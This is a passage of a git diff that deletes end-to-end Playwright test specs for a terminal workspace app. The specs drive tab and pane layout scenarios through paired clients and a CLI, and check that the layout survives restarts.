getTerminalContent(second.page)).toContain(`${inputMarker}:${guestPath}`) - } finally { - if (app) { - await restart.close(app) - } - await restart.dispose() - } -}) diff --git a/tests/e2e/workspace-layout-oracle-headless.spec.ts b/tests/e2e/workspace-layout-oracle-headless.spec.ts deleted file mode 100644 index 785892ffe18..00000000000 --- a/tests/e2e/workspace-layout-oracle-headless.spec.ts +++ /dev/null @@ -1,547 +0,0 @@ -// Drive orcad/Electron serve with paired clients and CLI; after each step compare live layout rules, client views and expected panes, plus restart/disk round trips. -// #12723 needs SSH and is not covered. ORCA_LAYOUT_ORACLE_RECORD=1 records without failing; ORCA_LAYOUT_ORACLE_REPEAT= repeats; ORCA_LAYOUT_ORACLE_HEADLESS_HOSTS=orcad,electron chooses hosts (both default). -// Run ORCA_BACKGROUND_LAUNCH=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/workspace-layout-oracle-headless.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1. - -import { mkdirSync, writeFileSync } from 'node:fs' -import path from 'node:path' -import type { TestInfo } from '@stablyai/playwright-test' -import type { RuntimeClient } from '../../src/cli/runtime/client' -import type { RuntimeMobileSessionTabsResult } from '../../src/shared/remote-runtime/session-graph/runtime-session-contracts' -import type { - RuntimeTerminalListResult, - RuntimeTerminalSplit -} from '../../src/shared/terminal/runtime/runtime-terminal-contracts' -import type { RuntimeTerminalCreate } from '../../src/shared/terminal/runtime/runtime-terminal-create-contract' -import { expect, test } from './helpers/orca-app' -import { pickNextActiveTabAfterClose } from '../../src/shared/workspace-session/workspace-session-terminal-tab-close' -import { - addRepoWorktree, - cliClient, - orcadNodeExecutable, - pairedClient, - startHeadlessOracleHost, - type HeadlessHostKind, - type HeadlessOracleHost -} from './helpers/headless-layout-oracle-hosts' -import { LayoutOracle, type OracleFinding } from './helpers/workspace-layout-oracle' -import type { OracleLayout } from './helpers/workspace-layout-oracle-model' -import { LiveLayoutFeed } from './helpers/workspace-layout-oracle-feed' -import { subscribeHeadlessLayout } from './helpers/workspace-layout-oracle-stream' -import { readSavedPartitions } from './helpers/workspace-layout-oracle-views' -import { ORACLE_REPORT_DIR_ENV } from './helpers/workspace-layout-oracle-session' -import { - summarizeEventLoopDelay, - type EventLoopDelaySummary -} from './helpers/event-loop-delay-report' -import { unexpectedFindings } from './workspace-layout-oracle-known-on-main' - -type Run = { - host: HeadlessOracleHost - worktreeId: string - worktree: string - /** Two paired clients and the local CLI. */ - a: RuntimeClient - b: RuntimeClient - cli: RuntimeClient - oracle: LayoutOracle - /** Settles and checks the layout once per view (paired client A, then the CLI by default). */ - check: ( - label: string, - panesPerTab: number[], - views?: View[], - removed?: number - ) => Promise - /** Checks, restarts serve (cold: PTY daemon killed too), checks, and diffs against before. */ - restart: (label: string, panesPerTab: number[], cold?: boolean) => Promise - /** Records an 'expected' finding when `details` is non-empty. */ - expectNone: (step: string, details: string[]) => void -} - -type View = { name: string; client: RuntimeClient } -type Scenario = { id: string; journey: (run: Run) => Promise } - -const errorText = (error: unknown): string => - error instanceof Error ? error.message : String(error) - -/** Runs a command; a failure becomes an 'expected' finding instead of ending the scenario. */ -async function attempt(run: Run, step: string, command: () => Promise): Promise { - try { - return await command() - } catch (error) { - run.expectNone(step, [`command failed: ${errorText(error)}`]) - return null - } -} - -async function listTerminals(client: RuntimeClient, worktree: string) { - const listed = await client.call('terminal.list', { worktree }) - return listed.result.terminals -} - -async function handleForTab(run: Run, tabId: string): Promise { - let handle: string | undefined - await expect - .poll( - async () => { - const terminals = await listTerminals(run.cli, run.worktree).catch(() => []) - handle = terminals.find((terminal) => terminal.tabId === tabId)?.handle - return handle - }, - { timeout: 15_000, message: `no terminal handle for tab ${tabId}` } - ) - .toBeDefined() - return handle! -} - -async function createTab(run: Run, client: RuntimeClient, targetGroupId?: string): Promise { - const created = await client.call<{ tab: { parentTabId: string } }>( - 'session.tabs.createTerminal', - { worktree: run.worktree, ...(targetGroupId ? { targetGroupId } : {}) } - ) - return created.result.tab.parentTabId -} - -async function createTerminal(run: Run): Promise { - const created = await run.a.call<{ terminal: RuntimeTerminalCreate }>('terminal.create', { - worktree: run.worktree - }) - return created.result.terminal -} - -/** Every view's listed title for one tab; the client check only compares titles the runtime saved. */ -async function titlesOf(run: Run, tabId: string, views: View[]): Promise { - const titles: string[] = [] - for (const { name, client } of views) { - const tabs = await client.call('session.tabs.list', { - worktree: run.worktree - }) - for (const tab of tabs.result.tabs) { - if (tab.type === 'terminal' && tab.parentTabId === tabId) { - titles.push(`${name} session.tabs.list "${tab.title}"`) - } - } - for (const terminal of await listTerminals(client, run.worktree)) { - if (terminal.tabId === tabId) { - titles.push(`${name} terminal.list "${terminal.title}"`) - } - } - } - return titles -} - -type GroupView = { id: string; activeTabId: string | null; tabOrder: string[] } - -/** The groups paired client A is told about: order, membership and each group's selected tab. */ -async function groupsOf(run: Run): Promise { - const tabs = await run.a.call('session.tabs.list', { - worktree: run.worktree - }) - return (tabs.result.tabGroups ?? []).map(({ id, activeTabId, tabOrder }) => ({ - id, - activeTabId, - tabOrder - })) -} - -// Move through phone/CLI: select the moved tab in its destination; other groups keep surviving selection or advance as desktop does. -// shown carries client A’s tabs, most recent last. -async function moveTab( - run: Run, - step: string, - move: Record & { tabId: string }, - expectedOrders: string[][], - shown: string[] = [] -): Promise { - const before = await groupsOf(run) - await attempt(run, step, () => - run.a.call('session.tabs.move', { worktree: run.worktree, ...move }) - ) - let after: GroupView[] = [] - await expect - .poll( - async () => { - after = await groupsOf(run) - return JSON.stringify(after.map((group) => group.tabOrder)) - }, - { timeout: 15_000 } - ) - .toBe(JSON.stringify(expectedOrders)) - .catch(() => undefined) - const orders = JSON.stringify(after.map((group) => group.tabOrder)) - run.expectNone( - `${step}: group tab orders`, - orders === JSON.stringify(expectedOrders) - ? [] - : [`groups ${orders}, expected ${JSON.stringify(expectedOrders)}`] - ) - const selection = after.flatMap((group) => { - const was = before.find((candidate) => candidate.id === group.id) - const kept = was?.activeTabId - const expected = group.tabOrder.includes(move.tabId) - ? move.tabId - : kept && group.tabOrder.includes(kept) - ? kept - : kept && was - ? pickNextActiveTabAfterClose( - { tabOrder: was.tabOrder, recentTabIds: shown }, - new Set([kept]), - group.tabOrder, - new Set(group.tabOrder) - ) - : (group.tabOrder[0] ?? null) - return group.activeTabId === expected - ? [] - : [`group ${group.id} selects ${group.activeTabId}, expected ${expected}`] - }) - run.expectNone(`${step}: selection`, selection) - return after -} - -const SCENARIOS: Scenario[] = [ - { - // #23429: a client-created and a CLI-created tab in one worktree must both stay listed. - id: 'mixed-create-warm-restart', - journey: async (run) => { - await createTab(run, run.a) - await run.check('client creates tab', [1]) - await createTerminal(run) - await run.check('CLI creates terminal', [1, 1]) - await run.restart('warm restart', [1, 1]) - } - }, - { - // #19582: a rename must show in every view, and survive a restart. - id: 'rename-terminal', - journey: async (run) => { - const created = await createTerminal(run) - await run.check('create', [1]) - const tabId = created.tabId ?? (await listTerminals(run.cli, run.worktree))[0]!.tabId - await run.a.call('terminal.rename', { terminal: created.handle, title: 'oracle-renamed' }) - await run.check('rename', [1]) - const views = [ - { name: 'client', client: run.a }, - { name: 'cli', client: run.cli } - ] - const wrong = (titles: string[]) => - titles.filter((line) => !line.endsWith('"oracle-renamed"')) - run.expectNone('rename shows', wrong(await titlesOf(run, tabId, views))) - await run.restart('warm restart', [1]) - run.expectNone('rename after restart', wrong(await titlesOf(run, tabId, views))) - } - }, - { - // #10747: closing a CLI-created terminal by handle succeeds and removes the tab everywhere. - id: 'close-terminal-by-handle', - journey: async (run) => { - const created = await createTerminal(run) - await run.check('create', [1]) - await attempt(run, 'close by handle', () => - run.a.call('terminal.close', { terminal: created.handle }) - ) - await run.check('close by handle', [], undefined, 1) - } - }, - { - // #25794: closed tabs must not come back after a restart, and no extra tab appears. - id: 'closed-tabs-stay-closed', - journey: async (run) => { - const first = await createTab(run, run.a) - const second = await createTab(run, run.a) - const third = await createTab(run, run.a) - await run.check('three tabs', [1, 1, 1]) - await attempt(run, 'client closes first', () => - run.a.call('session.tabs.close', { worktree: run.worktree, tabId: first, reason: 'user' }) - ) - await run.check('client closes first', [1, 1], undefined, 1) - const handle = await handleForTab(run, second) - await attempt(run, 'CLI closes second', () => - run.cli.call('terminal.close', { terminal: handle }) - ) - await run.check('CLI closes second', [1], undefined, 1) - await run.restart('warm restart', [1]) - const left = readSavedPartitions(run.host.userDataDir) - .flatMap(({ session }) => session.tabsByWorktree?.[run.worktreeId] ?? []) - .map((tab) => tab.id) - run.expectNone( - 'survivor after restart', - left.length === 1 && left[0] === third - ? [] - : [`tabs ${JSON.stringify(left)}, expected only ${third}`] - ) - } - }, - { - // #9450: client A creates, client B closes; both clients, the CLI and the runtime agree. - id: 'two-clients-create-close', - journey: async (run) => { - const views = [ - { name: 'client A', client: run.a }, - { name: 'client B', client: run.b }, - { name: 'cli', client: run.cli } - ] - const first = await createTab(run, run.a) - await createTab(run, run.a) - await run.check('A creates two tabs', [1, 1], views) - await attempt(run, 'B closes one', () => - run.b.call('session.tabs.close', { worktree: run.worktree, tabId: first, reason: 'user' }) - ) - await run.check('B closes one', [1], views, 1) - } - }, - { - // A tab split off into a new group keeps its terminal; the group it left selects its first tab. - id: 'split-tab-into-new-group', - journey: async (run) => { - const first = await createTab(run, run.a) - const second = await createTab(run, run.a) - await run.check('two tabs', [1, 1]) - const [group] = await groupsOf(run) - await moveTab( - run, - 'split second tab right', - { kind: 'split', tabId: second, targetGroupId: group!.id, splitDirection: 'right' }, - [[first], [second]] - ) - await run.check('split into new group', [1, 1]) - await run.restart('warm restart', [1, 1]) - } - }, - { - // #27083 review: a phone create joins the group it targets, and an untargeted CLI create the - // first group, across a cold restart. - id: 'create-in-second-group-cold-restart', - journey: async (run) => { - const first = await createTab(run, run.a) - const second = await createTab(run, run.a) - await run.check('two tabs', [1, 1]) - const [source] = await groupsOf(run) - const [, target] = await moveTab( - run, - 'split second tab right', - { kind: 'split', tabId: second, targetGroupId: source!.id, splitDirection: 'right' }, - [[first], [second]] - ) - const phone = await createTab(run, run.a, target!.id) - await run.check('phone create in second group', [1, 1, 1]) - const membership = async () => - JSON.stringify((await groupsOf(run)).map((group) => group.tabOrder.toSorted())) - const joined = await membership() - const phoneExpected = JSON.stringify([[first], [second, phone].toSorted()]) - run.expectNone( - 'phone create joins the second group', - joined === phoneExpected ? [] : [`groups ${joined}, expected ${phoneExpected}`] - ) - const cli = (await createTerminal(run)).tabId! - await run.check('CLI create in first group', [1, 1, 1, 1]) - await run.restart('cold restart', [1, 1, 1, 1], true) - const after = await membership() - const expected = JSON.stringify([[first, cli].toSorted(), [second, phone].toSorted()]) - run.expectNone( - 'created tabs stay in their groups after a cold restart', - after === expected ? [] : [`groups ${after}, expected ${expected}`] - ) - } - }, - { - // Moves between groups and a reorder; a group emptied by a move closes. - id: 'move-tab-between-groups', - journey: async (run) => { - const first = await createTab(run, run.a) - const second = await createTab(run, run.a) - const third = await createTab(run, run.a) - await run.check('three tabs', [1, 1, 1]) - const [source] = await groupsOf(run) - const [, target] = await moveTab( - run, - 'split third tab right', - { kind: 'split', tabId: third, targetGroupId: source!.id, splitDirection: 'right' }, - [[first, second], [third]], - [first, second, third] - ) - await moveTab( - run, - 'move second tab into the new group', - { kind: 'move-to-group', tabId: second, targetGroupId: target!.id, index: 0 }, - [[first], [second, third]], - [first, second, third] - ) - await run.check('move to group', [1, 1, 1]) - await moveTab( - run, - 'reorder the new group', - { kind: 'reorder', tabId: third, targetGroupId: target!.id, tabOrder: [third, second] }, - [[first], [third, second]] - ) - await run.check('reorder', [1, 1, 1]) - await moveTab( - run, - 'move the last tab out of the first group', - { kind: 'move-to-group', tabId: first, targetGroupId: target!.id, index: 2 }, - [[third, second, first]] - ) - await run.check('emptied group closes', [1, 1, 1]) - await run.restart('warm restart', [1, 1, 1]) - } - }, - { - id: 'split-close-pane-restarts', - journey: async (run) => { - const created = await createTerminal(run) - await run.check('create', [1]) - const split = await run.a.call<{ split: RuntimeTerminalSplit }>('terminal.split', { - terminal: created.handle, - direction: 'horizontal' - }) - await run.check('split', [2]) - await attempt(run, 'close split pane', () => - run.a.call('terminal.close', { terminal: split.result.split.handle }) - ) - await run.check('close split pane', [1], undefined, 1) - await run.restart('warm restart', [1]) - await run.restart('cold restart', [1], true) - } - } -] - -async function runHeadlessScenario( - testInfo: TestInfo, - kind: HeadlessHostKind, - scenario: Scenario -): Promise { - const host = await startHeadlessOracleHost(kind) - const started = Date.now() - let findings: OracleFinding[] = [] - let stream: { close: () => void } | null = null - try { - const a = pairedClient(host, 'a') - const cli = cliClient(host) - const worktreeId = await addRepoWorktree(host, cli) - const feed = new LiveLayoutFeed((current) => oracle.checkFrame(current)) - const target = (client: RuntimeClient) => ({ - client, - feed, - readSavedPartitions: async () => readSavedPartitions(host.userDataDir), - worktreeIds: () => [worktreeId] - }) - const oracle = new LayoutOracle(target(a), `headless-${kind}-${scenario.id}`) - findings = oracle.findings - // A cold restart gives every pane a new terminal. - let restarting = false - const check: Run['check'] = async (label, panesPerTab, views, removed = 0) => { - const list = views ?? [ - { name: 'client', client: a }, - { name: 'cli', client: cli } - ] - let layout: OracleLayout = {} - for (const [index, view] of list.entries()) { - await oracle.retarget(target(view.client)) - const step = index === 0 ? label : `${label} (${view.name} view)` - // Later views re-read the same layout, so only the first sees the removal. - layout = await oracle.step(step, { - worktreeId, - panesPerTab, - ...(index === 0 ? { removed } : {}), - ...(index === 0 && restarting ? { terminalsRestart: true } : {}) - }) - } - await oracle.retarget(target(a)) - return layout - } - const run: Run = { - host, - worktreeId, - worktree: `id:${worktreeId}`, - a, - b: pairedClient(host, 'b'), - cli, - oracle, - check, - restart: async (label, panesPerTab, cold) => { - oracle.rememberForRestart(await check(`before ${label}`, panesPerTab)) - stream?.close() - await host.restart({ cold }) - stream = await subscribeHeadlessLayout(host.pairingUrl, feed) - restarting = cold === true - const after = await check(`after ${label}`, panesPerTab) - restarting = false - oracle.compareRestart(label, after, { maskPtyIds: cold }) - }, - expectNone: (step, details) => { - if (details.length > 0) { - oracle.findings.push({ check: 'expected', step, details }) - } - } - } - stream = await subscribeHeadlessLayout(host.pairingUrl, feed) - await oracle.start() - await run.check('start', []) - await scenario.journey(run) - return findings - } finally { - stream?.close() - const ended = Date.now() - writeReport(testInfo, `${kind}-${scenario.id}`, { - durationMs: ended - started, - findings, - // orcad, or Electron serve's main process. - eventLoopDelay: summarizeEventLoopDelay( - host.userDataDir, - kind === 'orcad' ? 'orcad' : 'main', - started, - ended - ) - }) - await host.dispose() - } -} - -function writeReport( - testInfo: TestInfo, - scenarioId: string, - report: { - durationMs: number - findings: OracleFinding[] - eventLoopDelay: EventLoopDelaySummary - } -): void { - const dir = process.env[ORACLE_REPORT_DIR_ENV] ?? testInfo.outputPath('layout-oracle') - mkdirSync(dir, { recursive: true }) - const file = path.join(dir, `headless-${scenarioId}-${Date.now()}.json`) - writeFileSync( - file, - `${JSON.stringify({ scenario: `headless-${scenarioId}`, ...report }, null, 2)}\n` - ) -} - -const REPEAT = Math.max(1, Number(process.env.ORCA_LAYOUT_ORACLE_REPEAT ?? 1)) -const RECORD_ONLY = process.env.ORCA_LAYOUT_ORACLE_RECORD === '1' -const HOSTS = (process.env.ORCA_LAYOUT_ORACLE_HEADLESS_HOSTS ?? 'orcad,electron') - .split(',') - .filter((kind): kind is HeadlessHostKind => kind === 'orcad' || kind === 'electron') - -for (const kind of HOSTS) { - for (const scenario of SCENARIOS) { - for (let attempt = 1; attempt <= REPEAT; attempt += 1) { - const suffix = REPEAT > 1 ? ` #${attempt}` : '' - // oxlint-disable-next-line no-empty-pattern -- Each scenario owns its serve host. - test(`headless layout oracle: ${kind} ${scenario.id}${suffix}`, async ({}, testInfo) => { - // CI runs this spec only in the job that builds orcad, so a missing build there is a failure. - test.skip( - kind === 'orcad' && !orcadNodeExecutable() && !process.env.CI, - 'out/orcad is not built' - ) - test.setTimeout(300_000) - const id = `headless-${kind}-${scenario.id}` - const findings = await runHeadlessScenario(testInfo, kind, scenario) - for (const finding of findings) { - console.log( - `[layout-oracle] ${id}: ${finding.check} @ ${finding.step}\n ${finding.details.join('\n ')}` - ) - } - if (!RECORD_ONLY) { - expect(unexpectedFindings(id, findings)).toEqual([]) - } - }) - } - } -} diff --git a/tests/e2e/workspace-layout-oracle.spec.ts b/tests/e2e/workspace-layout-oracle.spec.ts deleted file mode 100644 index 4a3e4fe4b79..00000000000 --- a/tests/e2e/workspace-layout-oracle.spec.ts +++ /dev/null @@ -1,506 +0,0 @@ -// Drive user/CLI/paired-client layout journeys; compare structural rules, window DOM, client/CLI views, expected layout and restart preservation after every step. -// Fail findings absent from workspace-layout-oracle-known-on-main.ts. ORCA_LAYOUT_ORACLE_RECORD=1 records without failing; ORCA_LAYOUT_ORACLE_REPEAT= repeats. - -import { mkdtempSync, rmSync } from 'node:fs' -import os from 'node:os' -import path from 'node:path' -import type { Page } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' -import { - moveTerminalPaneByLeafId, - readTerminalPaneDomLeafOrder, - splitActiveTerminalPane, - waitForActiveTerminalManager -} from './helpers/terminal' -import { bootstrapFirstLaunch, seededRepoPathOrSkip } from './helpers/terminal-restart-persistence' -import { createTerminalTabFromMenu, SORTABLE_TAB } from './helpers/terminal-tab-menu' -import { ensureTerminalVisible, waitForSessionReady } from './helpers/store' -import { - addFolderWorkspace, - closeActivePaneFromKeyboard, - dragPaneOutToTabStrip, - waitForBoundPanes -} from './helpers/terminal-layout-journeys' -import { - addHostCreatedSplitWorktree, - openHostSplitWorktree, - sleepAgentPane, - wakeByClick -} from './helpers/host-split-and-sleep-journeys' -import { runOracleScenario, type OracleRun } from './helpers/workspace-layout-oracle-session' -import { RuntimeClient } from '../../src/cli/runtime/client' -import { unexpectedFindings } from './workspace-layout-oracle-known-on-main' -import type { RuntimeTerminalListResult } from '../../src/shared/terminal/runtime/runtime-terminal-contracts' -import type { RuntimeMobileSessionTabsResult } from '../../src/shared/remote-runtime/session-graph/runtime-session-contracts' - -type Scenario = { - id: string - /** Defaults to the seeded repo's first worktree with one terminal. */ - setup?: (run: OracleRun) => Promise<{ worktreeId: string; cleanup?: () => void }> - journey: (run: OracleRun, worktreeId: string) => Promise - /** False where a pane runs an agent, not a shell, so an echo proves nothing. */ - endMarkers?: false -} - -async function listTerminals(run: OracleRun, worktreeId: string) { - const listed = await run.client.call('terminal.list', { - worktree: `id:${worktreeId}` - }) - return listed.result.terminals -} - -async function firstHandle(run: OracleRun, worktreeId: string): Promise { - let handle: string | undefined - await expect - .poll(async () => { - handle = (await listTerminals(run, worktreeId).catch(() => []))[0]?.handle - return handle - }) - .toBeDefined() - return handle! -} - -/** The relaunched window shows the worktree again, however many panes its tab restores. */ -async function reopenActiveWorktree(page: Page): Promise { - await waitForSessionReady(page) - await ensureTerminalVisible(page) - await waitForActiveTerminalManager(page, 30_000) -} - -/** A client paired to the window's runtime over its WebSocket offer, with its own state directory. */ -// Both clients use the window's one runtime offer, as the headless corpus's two clients share one. -async function pairWindowClient(run: OracleRun, stateDir: string): Promise { - const offer = await run.page.evaluate(() => - window.api.mobile.getRuntimePairingUrl({ address: '127.0.0.1' }) - ) - if (!offer.available || !offer.pairingUrl) { - throw new Error('The window runtime did not offer a pairing') - } - return new RuntimeClient(stateDir, 30_000, offer.pairingUrl, null) -} - -/** Each paired client's tab order must equal the CLI's; a difference is a `client` finding. */ -async function compareClientTabOrders( - run: OracleRun, - step: string, - worktreeId: string, - clients: Record -): Promise { - const order = async (client: RuntimeClient) => - JSON.stringify( - ( - await client.call('session.tabs.list', { - worktree: `id:${worktreeId}` - }) - ).result.tabGroups?.map((group) => group.tabOrder) ?? [] - ) - const expected = await order(run.client) - for (const [name, client] of Object.entries(clients)) { - const seen = await order(client) - if (seen !== expected) { - run.oracle.findings.push({ - check: 'client', - step, - details: [`${name} tab order ${seen} vs CLI ${expected}`] - }) - } - } -} - -async function splitTwice(page: Page): Promise { - await splitActiveTerminalPane(page, 'vertical') - await waitForBoundPanes(page, 2) - await splitActiveTerminalPane(page, 'horizontal') - await waitForBoundPanes(page, 3) -} - -async function newTabFromMenu(page: Page): Promise { - // The tab menu can miss a click while the previous tab's menu is still closing. - await createTerminalTabFromMenu(page).catch(async () => { - await page.keyboard.press('Escape') - await createTerminalTabFromMenu(page) - }) - await waitForActiveTerminalManager(page) - await waitForBoundPanes(page, 1) -} - -const SCENARIOS: Scenario[] = [ - { - id: 'create-tab', - journey: async (run, worktreeId) => { - await newTabFromMenu(run.page) - await run.oracle.step('new tab', { worktreeId, panesPerTab: [1, 1] }) - } - }, - { - id: 'split-right-down', - journey: async (run, worktreeId) => { - await splitTwice(run.page) - await run.oracle.step('split twice', { worktreeId, panesPerTab: [3] }) - } - }, - { - id: 'close-pane', - journey: async (run, worktreeId) => { - await splitTwice(run.page) - await run.oracle.step('split twice', { worktreeId, panesPerTab: [3] }) - await closeActivePaneFromKeyboard(run.page, 3) - await run.oracle.step('close pane', { worktreeId, panesPerTab: [2], removed: 1 }) - } - }, - { - id: 'close-tab', - journey: async (run, worktreeId) => { - await newTabFromMenu(run.page) - await run.oracle.step('new tab', { worktreeId, panesPerTab: [1, 1] }) - const firstTab = run.page.locator(SORTABLE_TAB).first() - await firstTab.getByRole('button', { name: /^Close tab /i }).click() - await expect(run.page.locator(SORTABLE_TAB)).toHaveCount(1) - await run.oracle.step('close first tab', { worktreeId, panesPerTab: [1], removed: 1 }) - } - }, - { - id: 'reorder-panes', - journey: async (run, worktreeId) => { - await splitActiveTerminalPane(run.page, 'vertical') - await waitForBoundPanes(run.page, 2) - const [firstLeaf, secondLeaf] = await readTerminalPaneDomLeafOrder(run.page) - await moveTerminalPaneByLeafId(run.page, secondLeaf!, firstLeaf!, 'left') - await expect - .poll(() => readTerminalPaneDomLeafOrder(run.page)) - .toEqual([secondLeaf, firstLeaf]) - await run.oracle.step('swap panes', { worktreeId, panesPerTab: [2] }) - } - }, - { - // A paired client reorders the tab bar through the runtime command. - id: 'client-reorder-tabs', - journey: async (run, worktreeId) => { - await newTabFromMenu(run.page) - await newTabFromMenu(run.page) - await run.oracle.step('three tabs', { worktreeId, panesPerTab: [1, 1, 1] }) - const tabs = await run.client.call('session.tabs.list', { - worktree: `id:${worktreeId}` - }) - const group = tabs.result.tabGroups?.[0] - expect(group?.tabOrder.length).toBe(3) - const reversed = group!.tabOrder.toReversed() - await run.client.call('session.tabs.move', { - worktree: `id:${worktreeId}`, - tabId: reversed[0], - targetGroupId: group!.id, - kind: 'reorder', - tabOrder: reversed - }) - await run.oracle.step('client reverses tab order', { worktreeId, panesPerTab: [1, 1, 1] }) - } - }, - { - // STA-9259: the dragged-out pane must live in exactly one tab, across two restarts. - id: 'drag-out-to-tab', - journey: async (run, worktreeId) => { - await splitActiveTerminalPane(run.page, 'vertical') - await waitForBoundPanes(run.page, 2) - const [, secondLeaf] = await readTerminalPaneDomLeafOrder(run.page) - await dragPaneOutToTabStrip(run.page, worktreeId, secondLeaf!) - await expect(run.page.locator(SORTABLE_TAB)).toHaveCount(2) - await waitForBoundPanes(run.page, 1) - await run.oracle.step('drag pane out', { worktreeId, panesPerTab: [1, 1] }) - await run.relaunch({ worktreeId, paneCount: 1, panesPerTab: [1, 1] }) - await run.relaunch({ worktreeId, paneCount: 1, panesPerTab: [1, 1] }) - } - }, - { - id: 'cli-split', - journey: async (run, worktreeId) => { - const handle = await firstHandle(run, worktreeId) - await run.client.call('terminal.split', { terminal: handle, direction: 'horizontal' }) - await waitForBoundPanes(run.page, 2) - await run.oracle.step('CLI split', { worktreeId, panesPerTab: [2] }) - } - }, - { - // #19582 and #10747 with a window: a CLI-created tab, renamed, then closed. - id: 'cli-create-rename-close', - journey: async (run, worktreeId) => { - await run.client.call('terminal.create', { worktree: `id:${worktreeId}` }) - await expect.poll(async () => (await listTerminals(run, worktreeId)).length).toBe(2) - await run.oracle.step('CLI create', { worktreeId, panesPerTab: [1, 1] }) - const created = (await listTerminals(run, worktreeId))[1]! - await run.client.call('terminal.rename', { - terminal: created.handle, - title: 'oracle-renamed' - }) - await run.oracle.step('CLI rename', { worktreeId, panesPerTab: [1, 1] }) - await run.client.call('terminal.close', { terminal: created.handle }) - await run.oracle.step('CLI close', { - worktreeId, - panesPerTab: [1], - removed: [created.leafId] - }) - } - }, - { - // The paired-client tab commands: create a terminal tab, split it into a new group, close it. - id: 'client-create-split-close', - journey: async (run, worktreeId) => { - const worktree = `id:${worktreeId}` - const created = await run.client.call<{ tab: { parentTabId: string } }>( - 'session.tabs.createTerminal', - { worktree } - ) - const tabId = created.result.tab.parentTabId - await run.oracle.step('client creates tab', { worktreeId, panesPerTab: [1, 1] }) - const tabs = await run.client.call('session.tabs.list', { - worktree - }) - await run.client.call('session.tabs.move', { - worktree, - tabId, - targetGroupId: tabs.result.tabGroups![0]!.id, - kind: 'split', - splitDirection: 'right' - }) - await run.oracle.step('client moves tab to a new group', { worktreeId, panesPerTab: [1, 1] }) - await run.client.call('session.tabs.close', { worktree, tabId, reason: 'user' }) - await run.oracle.step('client closes tab', { worktreeId, panesPerTab: [1], removed: 1 }) - } - }, - { - // #9450 with a window attached: paired client A creates, paired client B closes. - id: 'two-clients-create-close', - journey: async (run, worktreeId) => { - const stateDir = mkdtempSync(path.join(os.tmpdir(), 'layout-oracle-clients-')) - try { - const clients = { - 'client A': await pairWindowClient(run, path.join(stateDir, 'a')), - 'client B': await pairWindowClient(run, path.join(stateDir, 'b')) - } - const worktree = `id:${worktreeId}` - const create = async () => - ( - await clients['client A'].call<{ tab: { parentTabId: string } }>( - 'session.tabs.createTerminal', - { worktree } - ) - ).result.tab.parentTabId - const first = await create() - await create() - await run.oracle.step('A creates two tabs', { worktreeId, panesPerTab: [1, 1, 1] }) - await compareClientTabOrders(run, 'A creates two tabs', worktreeId, clients) - await clients['client B'].call('session.tabs.close', { - worktree, - tabId: first, - reason: 'user' - }) - await run.oracle.step('B closes one', { worktreeId, panesPerTab: [1, 1], removed: 1 }) - await compareClientTabOrders(run, 'B closes one', worktreeId, clients) - } finally { - rmSync(stateDir, { recursive: true, force: true }) - } - } - }, - { - // The CLI and a phone move the host window ('host' navigation); the layout must not change. - id: 'host-navigation', - // It ends on an editor tab, so its markers are checked while a terminal is shown. - endMarkers: false, - journey: async (run, worktreeId) => { - await newTabFromMenu(run.page) - await run.oracle.step('new tab', { worktreeId, panesPerTab: [1, 1] }) - const first = (await listTerminals(run, worktreeId))[0]! - await run.client.call('terminal.focus', { terminal: first.handle, navigation: 'host' }) - await expect( - run.page.locator(`${SORTABLE_TAB}[data-tab-id="${first.tabId}"][data-active="true"]`) - ).toHaveCount(1) - await run.oracle.step('CLI focuses the first tab', { worktreeId, panesPerTab: [1, 1] }) - await run.oracle.checkMarkers('first tab shown', worktreeId) - await run.client.call('files.open', { - worktree: `id:${worktreeId}`, - relativePath: 'README.md', - navigation: 'host' - }) - await expect( - run.page.locator('[data-tab-group-strip-id]').getByText('README.md').first() - ).toBeVisible() - await run.oracle.step('CLI opens a file', { worktreeId, panesPerTab: [1, 1] }) - } - }, - { - // A reloaded window republishes its graph, which is what the phone's tab list is built from. - id: 'window-reload', - journey: async (run, worktreeId) => { - await splitActiveTerminalPane(run.page, 'vertical') - await waitForBoundPanes(run.page, 2) - await run.oracle.step('split', { worktreeId, panesPerTab: [2] }) - await run.reloadWindow() - await waitForActiveTerminalManager(run.page) - await waitForBoundPanes(run.page, 2).catch(() => {}) - await run.oracle.step( - 'after window reload', - { worktreeId, panesPerTab: [2] }, - { allowRemount: true } - ) - } - }, - { - // Quit straight after a gesture: only the quit-time save can carry it. - id: 'quit-right-after-change', - journey: async (run, worktreeId) => { - await splitActiveTerminalPane(run.page, 'vertical') - await run.relaunch({ - worktreeId, - paneCount: 2, - panesPerTab: [2], - quitWithoutSettling: true, - reopen: reopenActiveWorktree - }) - } - }, - { - // An older phone build sends a whole pane tree; a stale one must not drop a live pane. - id: 'old-client-pane-tree', - journey: async (run, worktreeId) => { - const handle = await firstHandle(run, worktreeId) - await run.client.call('terminal.split', { terminal: handle, direction: 'vertical' }) - await waitForBoundPanes(run.page, 2) - await run.oracle.step('split', { worktreeId, panesPerTab: [2] }) - const [first] = await listTerminals(run, worktreeId) - await run.client - .call('session.tabs.updatePaneLayout', { - worktree: `id:${worktreeId}`, - tabId: first!.tabId, - root: { type: 'leaf', leafId: first!.leafId } - }) - .catch(() => {}) - await run.oracle.step('stale pane tree from an old client', { worktreeId, panesPerTab: [2] }) - } - }, - { - id: 'restart-restore', - journey: async (run, worktreeId) => { - await splitActiveTerminalPane(run.page, 'vertical') - await waitForBoundPanes(run.page, 2) - await newTabFromMenu(run.page) - await run.oracle.step('split and new tab', { worktreeId, panesPerTab: [2, 1] }) - await run.relaunch({ worktreeId, paneCount: 1, panesPerTab: [2, 1] }) - await run.oracle.checkMarkers('after relaunch', worktreeId) - } - }, - { - id: 'cold-daemon-restart', - journey: async (run, worktreeId) => { - await splitActiveTerminalPane(run.page, 'vertical') - await waitForBoundPanes(run.page, 2) - await newTabFromMenu(run.page) - await run.oracle.step('split and new tab', { worktreeId, panesPerTab: [2, 1] }) - await run.relaunch({ worktreeId, paneCount: 1, coldDaemon: true, panesPerTab: [2, 1] }) - await run.oracle.checkMarkers('after cold relaunch', worktreeId) - } - }, - { - // The in-app "restart terminal daemon" action, with the window open. - id: 'live-daemon-restart', - journey: async (run, worktreeId) => { - await splitActiveTerminalPane(run.page, 'vertical') - await waitForBoundPanes(run.page, 2) - const before = await run.oracle.step('split', { worktreeId, panesPerTab: [2] }) - run.oracle.rememberForRestart(before) - await run.page.evaluate(() => 